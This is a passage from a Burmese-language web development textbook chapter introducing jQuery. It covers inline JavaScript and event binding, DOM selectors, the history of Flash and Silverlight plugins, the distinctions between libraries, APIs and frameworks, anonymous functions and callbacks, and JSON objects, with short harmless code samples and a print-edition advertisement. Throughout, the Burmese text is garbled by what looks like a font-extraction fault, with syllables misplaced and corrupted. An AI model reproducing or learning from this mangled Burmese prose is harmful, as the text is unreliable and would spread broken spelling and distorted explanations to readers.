JavaScript  Code  ိတ ွ ထည့်သွင်းထားပါတယ်။  အသံုးပပုသူကြ  Link  ကုိြ  နှိပတ်ဲ့အခါ၊  Browser  ကြ  href
Attribute မာှ သတမ်တှထ်ားတဲ့ အလပုကုိ်ြလပုဖ်ေို့ကကိြုးစားတဲ့အတက်ွြ  JavaScript Code လညး် Run သွားမာှပဖေစ်ပါ
တယ်။ ဒနီညး်ကုိြ ိတာ့  အရေငက်ြသုံးအကြိလရ့ေှိပါတယ်။  <button> အစား  Link  တစ်ခကုိုြ ထည့်သွငး်လိုပပးီ အ့ဲဒီ
Link ကုိြ နှိပလ်ိုက်ြရေင ်Button ကုိြ နှိပသ်က့ဲြသုိ ့အလပုလ်ပု်ိ စချငတ်ဲ့အခါ သံုးပါတယ်။

Inline JavaScript  ဟာလညး်  Inline CSS  လုိပဲ  မသံုးသင့်တဲ့နညး်လမး်တစ်ခပုဖေစ်ပါတယ်။  JavaScript  ိတကုိွြ
Element  ိတနွဲ့  ိရောိရေးထားတဲ့အတက်ွြ  ပပုပပငထ်မိး်သိမး်ရေ  ခက်ြိစနိုငပ်ါတယ်။  ဒါိအကြာင့်  ကြိနအ့ချနိမ်ာှ၊
onClick တို့လို Event Attribute ိတကုိွြိတာငမ်သံုးအကြိတာပ့ါဘးူ။ Event Binding လ့ုိိခါ်တဲ့နညး်စနစ်တစ်
မျို းသံုးပပီး  JavaScript  ိတကုိွြ  HTML ကြိနလုံးဝခွဲထတု်ိ ရေးသားလာအကြပါတယ်။  Event Binding  နညး်စနစ်နဲ့
ိရေးသားပုံကုိြ အခန်း (၅) jQuery မာှ ိဖောပ်ပိပးပါမယ။်
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Conclusion
JavaScript မာှ document.getElementById() အပပင ်အပခား Selector ိတလွညး်ရေှိပါိသးတယ်။ ဥပမာ

document.getElementsByTagName()
document.getElementsByClassName() 
document.querySelectorAll()

နမနူာိတမွာှသံုးခဲ့တဲ့  style, innerHTML တို့လို့  DOM  Attribute  ိတအွပပင်  title, alt, id,
class, value, type စတဲ့ လပု်ိ ဆာငခ်ျက်ြိတလွညး် ရေှိပါိသးတယ်။ ဒါိပမယ့်၊ ကြိန့အချနိမ်ာှ အားလုံးကုိြ
ရုိးရုိး  JavaScript  နဲ့  ိရေးိနမယ့်အစား  အသင့်ရေှိိ နတဲ့  Framework  ိတကုိွြိလလ့ာပပးီ  အသံုးပပုတာကြ ပိုပပးီထိ
ိရောက်ြ ပမနဆ်န်ိ စမာှပဖေစ်ပါတယ်။ ဒအီခနး်မာှ JavaScript ရေဲ့  Language အိပခခနံဲ့ HTML/CSS တို့နဲ့ဆကြစ်ပ်ိ န
မှုကုိြ အဓကိြထား ိဖောပ်ပပခငး်ပဖေစ်ပါတယ်။ ပိုပပးီပပည့်စံုတဲ့လပု်ိ ဆာငခ်ျက်ြိတရွေရေှိဖေို့ ဒလီိုအိပခခံိ တသံုွးပပီးိရေးိနတာ
ထက်ြ jQuery လို Framework ိတအွသံုးပပုပပးီ ိရေးသားနိုင်ိ အာင် အခနး် (၅) မာှ ဆက်ြလက်ြိလလ့ာသွားအကြမာှ
ပဖေစ်ပါတယ်။

ကြိနအ့ချနိမ်ာှ  NodeJS  လ့ုိိခါ်တဲ့  JavaScript  ကုိြ  Server-side Programing Language အိနနဲ့ အသံုးပပုနိုင်
ိအာင်  စီမံိ ပးထားတဲ့  နညး်ပညာထက်ွြိပါ်လာပခငး်နဲအ့တ၊ူ  JavaScript  ရေဲ့အခန်းကြဏဟာလညး်  ိခတသ်စ်
Software Development မာှ အိတာ်ိ လး အိရေးပါလာခဲ့ပါပပ။ီ  JavaScript  ကုိြ  Client-side Script  အပဖေစ်သာ
မကြ Command Line Tool ိတတွည်ိ ဆာက်ြပခငး်၊ Web Server တည်ိ ဆာက်ြပခငး်နဲ့  Network Service ိတွ
တည်ိ ဆာက်ြပခင်းလို လုပင်နး် မျို းိတအွတက်ွြပါ အသံုးချလာအကြပါပပ။ီ NodeJS, BackboneJS, ExpressJS စတဲ့
အိရေးပါလာတဲ့  JavaScript  အိပခပပု  ိခတသ်စ်  Development  နညး်ပညာိတအွိအကြာငး်ကုိြ  Rockstar
Developer ရေဲ့  အပိုင်း (၃) မာှ ိဖောပ်ပထားတဲ့အတက်ွြ ဆက်ြလက်ြိလလ့ာသွားသင့်ိ အကြာငး် အအကံြပပုလိုပါတယ်။



          ပံုနိှပ်မူစာအုပ်               

ဤစာအပ်ု၏ ပံုနိှပ်မူကြို ရေန်ကြန်ု၊ မန္တ လးနှင့်               

မံုရောွပမို့တုိရ့ေှိ စာအပ်ုဆိုင်များတွင် (၁၀,၀၀၀) ကြျပ်ပဖေင့်               

ဝယယ်နုိူင်ပါသည။် ဆက်ြသွယရ်ေန် - လန်ွိဆးပမိုင်စာိပ               

(၀၉) ၅၀ ၇၆၀ ၂၄   (၀၉) ၂၅၂ ၄၂၆ ၃၈၈               
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အခနး် (၅) jQuery
Web App များ လျှင်ပမန်စွာတည်ိ ဆာကြရ်ေန် အိရေးပါသည့်နညး်ပညာ

၂၀၀၂ ခနုစ်ှမာှိဖောပ်ပခဲ့တဲ့ စာတမး်တစ်ိစာငမ်ာှ Macromedia ကြ  Rich Internet App (RIA) ဆုိတဲ့ အသံုးအနှံုး
တစ်ခကုိုြ စတငမ်တိဆ်က်ြခဲပ့ါတယ်။ အငတ်ာနက်ြနဲ့  HTTP  ကုိြ ဆက်ြသွယ်ိရေးနည်းပညာအပဖေစ် သံုးထားတဲ့  App
များ  တည်ိ ဆာက်ြပခငး်နညး်ပညာတစ်မျို းပဖေစ်ပါတယ်။  ဒီ  RIA  Concept  အပပည့်အဝ  အလပုလ်ပုဖ်ေို့ဆုိရေင်  Web
Standards  သက်ြသက်ြနဲ့ အ့ဲဒီအချနိမ်ာှမရေနိုင်ိ သးပါဘးူ။  Web Standard နညး်ပညာ ိတပွဖေစ်တဲ့  HTML, CSS,
JavaScript  တို့ဟာ  အိတာ်ိ လးအိပခခကံြျိနပပးီ  App  ိတမွာှလိုအပတ်ဲ့  အိပခခလံပု်  ိဆာငခ်ျက်ြိတကုိွြ
ိဆာငရ်ေက်ွြမိပးနိုငပ်ါဘူး။  လုိချငတ်ဲ့လပု်ိ ဆာငခ်ျက်ြများရေဖေို့  အိသးစတိက်ြအစ  ကုိြယ်တိုင်ိ ရေး  သားဖေနတ်းီရေတဲ့
သိဘာရေှိ  ပါတယ်။  ဘာနဲ့တသူလဆိဲရုေင်  အိမ်ိ ဆာက်ြလိုတာပဖေစ်ိပမယ့်၊  သစ်ခတုပ်ခငး်၊  ပိုငး်ပဖေတ်  ပခငး်ိတကွြအစ
ကုိြယ်တိုငလ်ပု်ိ နရေသလို ပဖေစ်ိနပါတယ်။ ဒါိအကြာင့်  ဒလီိုအပခ်ျက်ြကုိြ  တစ်ဘက်ြတစ်လမး်ကြ ပဖေည့်စွက်ြနိုငဖ်ေိုအ့တက်ွြ
Macromedia Flash (အခု  Adobe Flash), JavaFX နဲ့  Microsoft Silverlight  တို့လို  Plugin  နညး်ပညာိတွ
ိပါ်ိပါကြလ်ာခဲ့ပါတယ်။

မတ်ှချကြ် ။ ။ ိနာကြပ်ိုငး်မာှ Macromedia ကြ Adobe နဲ့ိ ပါငး်သာွးလုိ့ အခုိ တာ့  Macromedia ဆုိတ့ဲအဖေွဲ့စညး် အမညန်ဲ့မရေှိ
ိတာပ့ဲ  Adobe  ရေဲ့အစတ်ိအပိုငး်တစခ်ပုဖေစသ်ာွးပါပပ။ီ ပပးီိတာ့ အခခုျိနမ်ာှ  RIA လုိလ့ညး် တစက်ြးူတစက်ြ ိပပာမိနိတာပ့ါဘးူ။
Web App လုိပ့ ဲခပရုိ်းရုိး ိခါ်အကြပါတယ။်

Flash,  Silverlight  အစရေှိတဲ့  နညး်ပညာိတဟွာ  Browser  Plugin  အိနနဲ့အလပုလ်ပုအ်ကြတာပဖေစ်ပပးီ
Audio/Video  Streaming,  2D/3D  Rendering  အပါအဝင်  အပခားိသာ  HTML  ကြလပုမ်ိပးနိုငတ်ဲ့
လပု်ိ ဆာငခ်ျက်ြိတကုိွြ ပဖေည့်စွက်ြ ိပးနိုငအ်ကြပါတယ်။ ဒါိပမယ့် အသံုးပပုသူကြ  Plugin  ိတကုိွြ  Browser  ိတမွာှ
Install လပုထ်ားမသှာ အသံုးပပုနိုငမ်ာှ ပဖေစ်ပါတယ်။ Plugin နညး်ပညာိတပွဖေစ်လို့ အကြန့်အသတ်ိ တရွေှိိ နပါတယ်။
ဥပမာ  -  Microsoft  Silverlight  ဆုိရေင်  Linux  OS  မာှ  အလပုမ်လပုပ်ါဘးူ။  Adobe  Flash  ဆုိရေငလ်ညး်
ိနာက်ြပိုငး်  Apple Product  ိတမွာှအလပုမ်လပုပ်ါဘးူ။ ပပးီိတာ့ ဒနီညး်ပညာိတကွြ Adobe, Microsoft  အစရေှိ
တဲ့  လပုင်နး်တစ်ခခုျငး်စီပိုငတ်ဲ့  နညး်ပညာိတပွဖေစ်ိနပါတယ်။  Standard  မဟတုလ်ို့  နညး်ပညာမတအူကြသလို
အပပန်အလနှ ်ပးူိပါငး်ိဆာငရ်ေက်ွြနိုငပ်ခင်းလညး်မရေှိပါဘးူ။
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၂၀၀၄-၂၀၀၅ ိလာက်ြကြစပပးီ  Plugin  နညး်ပညာိတအွစား၊  HTML  နဲ့  Web  Standard  ကုိြအိပခခပံပးီ  Rich
Internet App  ိတွိ ရေး သားလို့ရေနိုငတ်ဲ့  JavaScript Framework  ိတ ွစတင်ိ ပါ်ိပါက်ြလာခဲ့ပါတယ်။  Plugin
နညး်ပညာိလာက်ြ ပပည့်စံုပခငး်မရေှိိ ပိမမယ့် App ိတ ွတည်ိ ဆာက်ြဖေို့အတက်ွြ လိုအပတ်ဲ့ အိပခခလံပု်ိ ဆာင် ချက်ြ
ိတကုိွြ ဒီ  Framework ိတကွြ အသင့်ိ ပးနိုငလ်ာပါတယ်။ ိနာက်ြပိုငး်မာှိတာ့ HTML5 နညး်ပညာထက်ွြိပါ်လာ
ပပးီ၊  ယခင်  Plugin  နညး်ပညာများကြသာိပးနိုငတ်ဲ့  Video/Audio,  Multimedia  စတဲ့လပု်ိ ဆာငခ်ျက်ြိတကုိွြ
Standard နညး်လမး်နဲ့အည ီအပပည့်အဝိပးနိုငလ်ာပပပီဖေစ်ပါတယ်။  

ဒအီခန်းမာှ  JavaScript Framework  ိတထွကဲြ လသံုူးအများဆံုးနဲ့  အိရေးအပါဆံုးပဖေစ်တဲ့  jQuery  အိအကြာငး်ကုိြ
ိဖောပ်ပသွားမာှပဲ ပဖေစ်ပါတယ်။ 

5.1 - Framework
ပထမဦးဆံုး Library, API, Toolkit, Framework အစရေှိတဲ့ Terminology ိတကုိွြ အရေငရ်ေငှး်ချငပ်ါတယ်။

ပုံ (၅-ကြ) Framework Terminologies

ကြျွန်ိ တာတ်ို့ ပပးီခဲ့တဲ့အခန်းမာှိလလ့ာခဲ့တဲ့  JavaScript ဟာ Programming Language တစ်ခပုဖေစ်ပါတယ်။ ဒါိပ
မယ့် DOM Selector ိတနွဲ့ DOM Attributes ိတပွါဝငတ်ဲ့ နညး်ပညာကုိြ API (DOM API) လ့ုိ ိခါ်ပါတယ်။
API ဆုိတာ Application Program Interface ရေဲ့  အတိုိ ကြာက်ြပါ။ App ိတ ွတည်ိ ဆာက်ြတဲ့အခါ ိနာက်ြကွြယ်
ကြအိသး စိတကုိ်ြသိဖေို့မလိုပဲ  လိုချငတ်ဲ့လပု်ိ ဆာငခ်ျက်ြရေရေှိဖေို့  Function Call  တစ်ခုိ လာက်ြနဲ့  အသင့်ရေယူအသံုးပပု
နိုင်ိ အာင် စီမံိ ပးထားတဲ့ နညး်ပညာပဖေစ်ပါတယ်။ JavaScript ကြ Language သက်ြသက်ြသာပဖေစ်ပပီး ပဖေည့်စွက်ြနညး်
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ပညာပဖေစ်တဲ့ DOM API ိအကြာင့်သာ ကြျွန်ိ တာတ်ိုက့ြ DOM Manipulation ကုိြ လွယ်လယ်ွကူြကူြ လုပန်ိုငတ်ာပဖေစ်
ပါတယ်။

ကကိြုတင်ိ ရေးသားထားပပးီ  ိနာငလ်ိုအပတ်ဲ့အခါ  ပပနလ်ညအ်သံုးပပုနိုငဖ်ေို့  စုစညး်ထားတဲ့  Code  ိတကုိွြိတာ့  Code
Library  လ့ုိ ိခါ်အကြပါတယ်။  ပုံ  (၅-ကြ) မာှ ိလလ့ာအကြည့်ပါ။  JavaScript Code Library  ိတကုိွြ အအကြမး်ဖေျဉး်
အားပဖေင့် နစ်ှပိုငး် ခွဲနိုငပ်ါတယ။် Utility လိုိ့ ခါ်တဲ့ အိပခခလံိုအပခ်ျက်ြိတကုိွြ ိရေးသားစုစညး်ထားတဲ့ Library ိတွ
နဲ့ Widget Toolkit လ့ုိိခါ်တဲ့ အသင့်သံုး  User Interface Component ိတ ွစုစညး်ထားတဲ့ Library တို့ ပဖေစ်အကြ
ပါတယ်။  Library နဲ့ API ကွြာပခားချက်ြကြိတာ၊့ Library ဆုိတာလက်ြရေှိ Programming Language ကုိြပသံုဲးပပီး
ိရေးထားတဲ့  Code  ပဖေစ်ပါတယ်။ ဘာိတဘွယ်လို ိရေးထားလဲ ဖေငွ့်အကြည့်နိုငပ်ါတယ်၊ လုိအပရ်ေငပ်ပငဆ်ငန်ိုငပ်ါတယ်။
API ိတာ့ လက်ြရေှိ Language နဲ့ ိရေးထားတာပဖေစ်နိုငသ်လို သီးပခား Language နဲ့ိ ရေးထားပပီး လက်ြရေှိ Language
ကြိန ိခါ်ယူအသံုးပပုနိုင် ိအာင် စီစဉထ်ားိပးပခင်းလညး် ပဖေစ်နိုငပ်ါတယ်။ အအကြမး်ဖေျင်းအားပဖေင့် API ကုိြ ဘယ်လို
ိရေးသားထားလ ဲဖေငွ့်လစ်ှအကြည့်ရှု ပခငး်၊ ပပငဆ်ငပ်ခင်းကုိြ မပပုလပုန်ိုငပ်ါဘးူ။ ရေယူအသံုးပပုဖေို့ သက်ြသက်ြပါပ။ဲ

Code Library နဲ့ API ိတကုိွြ Pattern ိတ ွConvention ိတနွဲ့ ိပါင်းစပလ်ိုက်ြတဲ့အခါ  Framework ဆုိပပးီပဖေစ်
လာပါတယ်။  Pattern  ဆုိတာကြိတာ့  3-Tires  Architecture,  MVC,  MVVM  အစရေှိတဲ့  Code  ိတကုိွြ
Organize  လပုတ်ဲ့အခါ  အသုံးပပုတဲ့  နညး်စနစ်ိ တပွဖေစ်ပါတယ်။  ဒလီို  Pattern  ိတနွဲ့  စနစ်ကြျနစွာစုစညး်ထားမှ
Program ကုိြ ဆက်ြလက်ြတိုးချဲ့ ပပငဆ်ငရ်ေတာလယ်ွကြမူာှပဖေစ်ပါတယ်။ Convention ကြိတာလ့ိုက်ြနာရေမယ့် ိရေးသား
နညး်၊ စညး်မျဉး်ိတ ွကုိြသတမ်တှ်ိ ပးထားတာပါ။ Framework ရေဲ့  လပု်ိ ဆာငခ်ျက်ြိတကုိွြရေယူရေမယ့န်ညး်စနစ်ိတ၊ွ
Code ိတသွပရ်ေပ်ိ စဖေို့ လုိက်ြနာရေမယ့်နညး်စနစ်ိတ ွစသပဖေင့်သတမ်တှထ်ားပခငး်ပဖေစ်ပါတယ်။ တစ်ချို ့ Framework
ိတမွာှ  Compiler ိတ၊ွ Debugger ိတ၊ွ Template Engine ိတနွဲ့  Test Framework ိတလွညး်တွဲဖေက်ြပါဝင်
နိုငပ်ါတယ။်

ဘယ်လိုလပု်ိ ဆာငခ်ျက်ြိတပွါဝငရ်ေင်  Library  လိုိ့ ခါ်ပပးီ  ဘယ်ိလာက်ြဆုိရေင်ိ တာ့  Framework  ိခါ်ရေမယ်ဆိတုဲ့
တကိြျတဲ့  သတမ်တှခ်ျက်ြမရေှိပါဘးူ။  ဖေနတ်းီတည်ိ ဆာက်ြသူိပါ် မတူညပ်ါတယ်။  ဖေနတ်းီသူိတကွြ သူတိုရ့ေဲ့ဖေနတ်းီမှု
ဟာ  Library  အဆင့်လို့ယူဆရေင်  Library  လိုိ့ ခါ်ပပးီ၊  Library  သက်ြသက်ြထက်ြပိုတယ်ဆုိရေင်ိ တာ့  Framework
လိုိ့ ခါ်အကြိလရ့ေှိပါတယ်။ 

5.2 - jQuery
jQuery  ဟာ  JavaScript  Utility  Framework  တစ်ခပုဖေစ်ပါတယ်။ အိပခခအံားပဖေင့်  DOM Manipulation  နဲ့
Ajax ကုိြ ရုိရေငှ်း လွယ်ကူြသွားိအာင် ဖေနတ်းီိပးထားတဲ့ Framework တစ်ခပုါ။ "Write less, Do more" ဆုိတာ
jQuery ရေဲ့  ိဆာငပ်ဒုပ်ါ။  jQuery ကုိြသာ ထိိရောက်ြိအာငအ်သံုးချမယ်ဆုိရေင် ိဆာငပ်ဒု်အတိုငး်  Code နညး်နညး်
ိရေးယံုနဲ ့ကြျွန်ိ တာတ်ို့လိုချငတ်ဲ့ ရေလဒ်ိ တ ွရေရေှိနိုငပ်ါတယ် ။

၂၀၀၆ ခနုစ်ှ Barcamp NYC မာှ John Resig လိုိ့ ခါ်တဲ့ Developer တစ်ိယာက်ြကြ jQuery ကုိြ စတငမ်တိဆ်က်ြ
ခဲ့တာပါ။ စစ်တမး်များအရေ ထငရ်ောှးတဲ့  Website  ိတရွေဲ့  ၅၅%  ိလာက်ြကြ jQuery  အသံုးပပုထားအကြတယ်လို့ဆုိပါ
တယ်။ တနညး်အားပဖေင့် jQuery ဟာ JavaScript Framework ိတထွမဲာှ လသံုူးအများဆုံးပဖေစ်ပါတယ။်
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jQuery ကုိြ DOM Manipulation, Ajax နဲ့  Plugin ဆုိပပးီ (၃) ပိုငး်ခွဲိ လလ့ာချငပ်ါတယ်။ ဒအီခနး်မာှ DOM နဲ့
Plugin တို့ အိအကြာငး်ိဖောပ်ပိပးပါမယ်။ Ajax အပိုငး်ကိြုိ တာ့ ိဖောပ်ပလို့မရေိသးပါဘူး။ Server-side နညး်ပညာနဲ့
တွဲဖေက်ြအလပုလ်ပုဖ်ေို့  လိုအပလ်ို့   အခနး်  (၉)  Ajax  with  jQuery မာှဆက်ြလက်ြိဖောပ်ပိပးသွားပါမယ်။  jQuery
အသံုးပပုပုံကုိြမအကြည့်ခင်  JavaScript  ရေဲ့  Nameless Function  နဲ့  JSON  တို့အိအကြာငး်ကိြု  အရေင်ိ လလ့ာဖေို့  လိုပါ
မယ်။ 

5.3 - Nameless Functions
Nameless Function ဆုိိတာ့ အမညမ်ရေှိတဲ့ အမညမ်ဲ့ Function ိတပွဲိ ပါ့။ တစ်နညး်အားပဖေင့် သီးပခားအလပုလ်ပု်
တဲ့  Sub-Program  ိလးိတပွါ။  Anonymous Function  လ့ုိလညး်ိခါ်အကြပါတယ်။  JavaScript  မာှ  Function
ိတဟွာ  First  Class  Citizen  ိတပွဖေစ်ပါတယ်။  အဓပိ္ပါယ်ကြ  Function  ိတကုိွြ  ိနရောတိုငး်မာှသံုးလို့ရေပါတယ။်
Function တစ်ခရုေဲ့အတငွး်ထမဲာှ ိနာက်ြထပ် Function ိတကုိွြအဆင့်ဆင့်ထည့်ိ ရေးလို့ ရေပါတယ်။  Function တစ်
ခကုိုြ Variable တစ်ခထုမဲာှ Assign လပု် ထည့်သွငး်ိပးလိုက်ြလို့ရေပါတယ်။ Function တစ်ခကုိုြ ိခါ်ယူအသံုးပပုတဲ့
အခါ အပခား Function တစ်ခကုိုြ Parameter အိနနဲ့ ထည့်ိ ပးလိုက်ြလို့ရေပါတယ်။   First Class ဆုိတာဒီ သိဘာ
ကုိြိပပာတာပါ။ Function တစ်ခကုိုြ Variable ထသုိဲ့ အခလုိုထည့် သွငး်သတမ်တှ ်ိပးလိုက်ြနိုငပ်ါတယ်။

var foo = function () { 
    // statements
} 

နမနူာမာှ foo ဆုိတဲ့ Variable ထဲကုိြ တနး်ဖေိုးိတထွည့်သလိုပဲ  Function တစ်ခကုိုြ ထည့်သွငး်သတမ်တှလ်ိုက်ြတာ
ပါ။ ထူးပခားချက်ြအိနနဲ့  Assign လုပလ်ိုက်ြတဲ့  Function မာှ  Function Name မပါတာကုိြသတပိပုအကြည့်ပါ။ ဒလီို
အမည် မပါတဲ့ Function ိတကုိွြ Nameless Function သုိမ့ဟတု ်Anonymous Function လိုိ့ ခါ်တာပါ။ 

foo  Variable  ထဲမာှ  Function  တစ်ခုိ တာရ့ေှိိ နပါပပ။ီ  အ့ဲဒီ  Function  ကုိြ  Evaluate  လပု်ိ စချငရ်ေင်ိ တာ့
Function  ိခါ်ရုိးိခါ်စဉအ်တိုငး်  foo() လ့ုိ  ိခါ်ယူအသံုးပပုလိုက်ြယံုပပဲဖေစ်ပါတယ်။  တစ်နညး်အားပဖေင့်  foo
Variable ရေဲ့ိနာက်ြကြ ဝိုက်ြကွြင်းအဖေငွ့်အပတိက်ြ foo Variable ထဲကြ Function ကုိြ Evaluate လုပဖ်ေို့ ိပပာလိုက်ြ
တာပပဲဖေစ်ပါတယ်။ 

Function ဆုိတာသတမ်တှ်ိ အကြပငာချက်ြသက်ြသကြလ်ို့ ကြျွန်ိ တာတ်ို့နားလညထ်ားပါတယ။် အသံုးပပုလိုတဲ့အခါမသှာ
ိခါ်ယူ အသံုးပပုရေတာပါ။ အဲဒ့လီိုမဟတုပ်နဲဲ့ Function ကုိြ သီးပခား Sub-Program တစ်ခလုို အလပုလ်ပုသွ်ားိစလို
ရေင ်အခလုိုိ ရေးသား နိုငပ်ါတယ်။

(function foo() {
  // statements
})();



Professional Web Developer - အခန်း (၅) jQuery 131

Nameless Function  တစ်ခလုုံးကုိြဝိုက်ြကွြငး်အဖေငွ့်ပတိထ်ထဲည့်လိုက်ြပပးီ  ိနာက်ြဆုံးမာှ  ိနာက်ြထပဝ်ိုက်ြကွြငး်အဖေငွ့်
အပတိ် ထပထ်ည့်ိ ပးလိုက်ြပခငး်ပဖေစ်ပါတယ။် နာမညမ်ရေှိတဲ့ Function ပဖေစ်တဲ့အတက်ွြ တစ်ပခားကြိနိခါ်သံုးလို့မရေပါ
ဘးူ။ ဒါိပမယ့် ိနာက်ြဆံုးကြဝိုက်ြကွြငး်အဖေငွ့်အပတိက်ြ၊ ခတုငသ်တမ်တှလ်ိုက်ြတဲ့ Function ကုိြချက်ြပခငး် Evaluate
လပုခ်ိုငး် လိုက်ြသလို ပဖေစ်သွားတဲ့အတက်ွြ Function ကြ အလပုလ်ပုသွ်ားမာှပါ။ တစ်ပခား Code ိတနွဲ့ ဆက်ြစပပ်ခင်း
မရေှိပ ဲသီးပခား အလပုလ်ပု်ိ စချငတ်ဲ့ Sub-program ိတကုိွြ ဒနီညး်နဲ့ိ ရေးသားနိုငပ်ါတယ်။

Nameless Function ိတကုိွြ လက်ြိတွ့အသံုးအများမယ့်ိနရောကြိတာ ့Callback ပဖေစ်ပါတယ်။ ဥပမာ -

var i;

function add( a, b, fn ) {
  i = a + b;
  fn();
}

add(24, 13, function() {
  alert( 'done adding 24 and 13 into i' );
});

နမနူာအရေ add() Function ကုိြ ိခါ်ယူတဲ့အခါ ရုိးရုိးတနဖ်ေိုးနစ်ှခနုဲ့  Callback Function တစ်ခတုို့ကုိြ  Parameter
အပဖေစ်  ိပးရေပါတယ်။  add()  Function  ကြ  သတမ်တှလ်ပု်ိ ဆာငခ်ျက်ြိတကုိွြ  ိဆာငရ်ေက်ွြပပီးတဲ့အခါ  Callback
Function  ကုိြ  ပပနလ်ည်ိ ခါ်ယူိပးသွားမာှ  ပဖေစ်ပါတယ်။ ဒလီို  Function  တစ်ခကုြ လုပစ်ရောရေှိတာ လပုပ်ပးီိနာက်ြ
အပခား  Function  တစ်ခကုိုြ ပပန်ိ ခါ်ိပးတဲ့ လပု်ိ ဆာငခ်ျက်ြကုိြ  Callback  လ့ုိိခါ်တာပါ။  jQuery  မာှ အလားတူ
ိရေးနညး်ိရေးဟနကုိ်ြ အများအပပား ိတွ့ရေမာှပ ဲပဖေစ်ပါတယ်။

5.4 - JSON (JavaScript Object Notation) 
JSON ဟာ Data Interchange Format  တစ်ခပုဖေစ်ပါတယ်။ ကွြနပ်ျူတာပရုိဂရေမတ်စ်ခကုိုြ လူိ တအွသံုးပပုနိုငဖ်ေို့ပါ
သာမကြ  အပခားကွြနပ်ျူတာ  ပရုိဂရေမမ်ျားကြပါ  ဆက်ြသွယ်အသံုးပပုနိုင်ိ အာင်  တည်ိ ဆာက်ြပခငး်ကိြု  Service
Oriented Architecture (SOA) လ့ုိိခါ်ပါတယ်။ SOA နညး်စနစ်တဲ့ တည်ိ ဆာက်ြထားတဲ့ Service အချငး်ချင်း
အပပန်အလနှဆ်က်ြသွယအ်လပု ်လပုတ်ဲ့အခါ စံအပဖေစ်အသံုးပပုနိုငတ်ဲ့ Data Format ိတလွိုပါတယ။် XML, YAML
စသပဖေင့် အမျို းမျို းရေှိတဲ့ထမဲာှ JSON လညး်တစ်ခု အပါအဝငပ်ဖေစ်ပါတယ်။ ဒါိအကြာင့် JSON ကုိြ Data Interchange
Format လိုိ့ ခါ်ပခငး်ပဖေစ်ပါတယ်။ 

Data Interchange Format အိနနဲ့ အသံုးပပုနိုငတ်ဲ့အပပင၊် JavaScript Object ိတတွည်ိ ဆာက်ြဖေို့အတက်ွြလညး်
JSON  ကုိြအသံုးပပုနိုငပ်ါတယ်။ ပုံမနှ်  Object-Oriented Programming  မာှ  Object  ိတတွည်ိ ဆာက်ြဖေို့  Class
ိတ ွလိုအပပ်ါတယ်။ JavaScript ဟာလညး် OOP Language တစ်ခပုဖေစ်ိပမယ့် သူမ့ာှ Class ိရေးထုံး မပါဝငတ်ာ
ထးူပခားချက်ြပါ။  Object  Constructor  (သုိမ့ဟတု်)  JSON  ကုိြအသံုးပပုပပီးိတာ့  Object  ိတကုိွြ  တိုက်ြရုိကြ်
တည်ိ ဆာက်ြ ရေတာပဖေစ်ပါတယ်။
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မတ်ှချကြ် ။ ။ SOA အိအကြာငး်ကြို Rockstar Developer ရေဲ့  အခနး် (၄) မာှိဖောပ်ပထားပပးီ၊ JavaScript Object Constructor
အိအကြာငး်ကြို  Rockstar Developer ရေဲ့  အခနး်  (၃) မာှိဖောပ်ပထားပါတယ။်  JSON ကြို စာလံုးအတုိငး်တစလံု်းချငး်ိခါ်ိလ့မရေှိ
အကြပါဘးူ။ "ိဂျဆွန်" လုိအ့တဲွလုိကြအ်သထွံကြန်ဲ့ ိခါ်အကြပါတယ။်

JSON  ဟာ  Hash  Array  တစ်မျို းပဖေစ်တယ်လို့လညး်  လယ်ွလယ်ွမတှန်ိုငပ်ါတယ်။  Hash  Array  ကုိြ  တစ်ချို ့
Language  ိတမွာှိတာ့  Associated  Array  လိုိ့ ခါ်အကြပါတယ်။  တစ်ချို ့   Language  ိတရွေဲ့  Collection,
Dictionary စတဲ့ သိဘာမျို းနဲ့ ဆငတ်ပူါတယ်။ JavaScript မာှိတာ့ အ့ဲဒီ  Hash Array ကုိြပဲ JSON လိုိ့ ခါ်တာ
ပါ။

Classical OOP Language ိတမွာှ Object ိတတွည်ိ ဆာက်ြပုံ နမနူာကုိြိဖောပ်ပိပးလိုက်ြပါတယ်။ 

class Car 
{ 
    var wheels = 4; 
    var fuel = 60; 

    function drive() { 
        this.fuel -= 5; 
        // do something else
    } 
} 

var toyota = new Car(); 
print toyota.wheels;        # => 4 

toyota.drive(); 
print toyota.fuel;          # => 55 

အရေင်ဆံုး Car Class ကုိြတည်ိ ဆာက်ြပပးီိတာမ့ှ အ့ဲဒီ  Class ကြိန Instantiate လပုပ်ပးီ toyota ဆုိတဲ့ Object
တစ်ခကုိုြ တည်ိ ဆာက်ြရေတာပဖေစ်ပါတယ်။  var toyota = new Car() ဆုိတဲ့ Statement ကြ Toyota ဟာ
ကြားတစ်စီးပဖေစ်ိအကြာငး် ိအကြပငာသတမ်တှ်ိ ပးပါတယ။်  Car Class  ရေဲ့  သတမ်တှခ်ျက်ြနဲ့အညီ တည်ိ ဆာက်ြထား
တာ ပဖေစ်လို့  toyota Object မာှ wheels နဲ့  fuel ဆုိတဲ့ Property နစ်ှခရုေှိိ နပပးီ  drive() ဆုိ တ့ဲ Method
တစ်ခလုညး်ရေှိိ နမာှပဖေစ်ပါတယ်။

toyota.wheels  ဆုိပပးီ  ရေယူအကြည့်ရေင်   wheels  Property  ထမဲာှရေှိိ နတဲ့  တနဖ်ေိုးပဖေစ်တဲ့  4 ကုိြရေရေှိမာှပဖေစ်ပါ
တယ်။  toyota.drive() ဆုိပပးီ  drive() Method  ကုိြ  Evaluate  လိုက်ြတဲ့အခါ  Method  ထမဲာှသတမ်တှ်
ထားတဲ့ အတိုငး် fuel Property ထကဲြ 5 နှုတသွ်ားမာှပါ။ ဒါိအကြာင့် ိနာက်ြတစ်ဆင့်မာှ toyota.fuel  ဆုိပပီး
ရေယူတဲ့အခါ fuel Property ရေဲ့  မလူတနဖ်ေိုး 60 ကုိြ မရေပ၊ဲ 55 ကုိြရေရေှိမာှပဖေစ်ပါတယ်။

နမနူာသက်ြသက်ြပဖေစ်ပါတယ်။ ပပည့်စံုဖေို့ဆုိရေင် အသုံးပပုတဲ့  Language  ိပါ်မတူညပ်ပးီ တစ်ပခားအိပခခံ သိဘာိတွ
ပဖေစ်တဲ့ Constructor ိတ ွAccess Control ိတ ွSetter/Getter ိတ ွသတမ်တှဖ်ေို့လိုနိုငပ်ါတယ်။ 



Professional Web Developer - အခန်း (၅) jQuery 133

JavaScript မာှိတာ ့အလားတ ူObject တစ်ခကုိုြ JSON အသံုးပပုပပးီ အခလုိုတည်ိ ဆာက်ြနိုငပ်ါတယ်။ 

var toyota = { 
    wheels: 4, 
    fuel: 60, 
    drive: function () { 
        this.fuel -= 5; 
        // do something else
    } 
}; 

